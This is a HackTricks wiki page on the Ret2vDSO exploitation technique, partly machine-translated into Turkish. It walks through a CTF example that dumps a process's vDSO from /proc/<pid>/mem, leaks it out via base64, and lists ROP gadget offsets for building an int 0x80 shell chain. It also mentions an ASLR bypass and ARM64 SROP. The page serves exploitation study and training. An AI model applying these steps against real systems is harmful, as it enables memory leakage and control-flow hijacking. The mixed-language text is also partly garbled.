Ret2vDSO
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Basic Information
There might be vDSO bölgesindeki gadgets, which is a small ELF DSO mapped by the kernel to provide fast user-space implementations of some kernel helpers. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Locating the vDSO base and exports
The vDSO base address is passed in the auxiliary vector as AT_SYSINFO_EHDR, so if you can read /proc/<pid>/auxv (or call getauxval in a helper process), you can recover the base without relying on a memory leak. See Auxiliary Vector (auxv) and vDSO for practical ways to obtain it.
Once you have the base, treat the vDSO like a normal ELF DSO (linux-vdso.so.1): dump the mapping and use readelf -Ws/objdump -d (or the kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) to resolve exported symbols and look for gadgets. On x86 32-bit the vDSO commonly exports __kernel_vsyscall, __kernel_sigreturn, and __kernel_rt_sigreturn; on x86_64 typical exports include __vdso_clock_gettime, __vdso_gettimeofday, and __vdso_time. Because the vDSO uses symbol versioning, match the expected version when resolving symbols.
Following the example from https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ it’s possible to see how it was possible to dump the vdso section and move it to the host with:
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
ROP gadgets bulundu:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Caution
Bu nedenle şuna dikkat edin: kernel CONFIG_COMPAT_VDSO ile derlendiyse vdso adresi rastgeleleştirilmeyeceği için bypass ASLR abusing the vdso mümkün olabilir: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639
ARM64
kali 2023.2 arm64’de bir ikilinin vdso bölümünü dump edip kontrol ettikten sonra, orada hiçbir ilginç gadget bulamadım (stack’teki değerlerden registers’ları kontrol etmenin veya ret için x30’u kontrol etmenin bir yolu yok) SROP çağırmaya yarayan bir yol dışında. Sayfadaki örnekten daha fazla bilgiye bakın:
Referanslar
- https://man7.org/linux/man-pages/man7/vdso.7.html
- https://www.kernel.org/doc/Documentation/ABI/stable/vdso
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


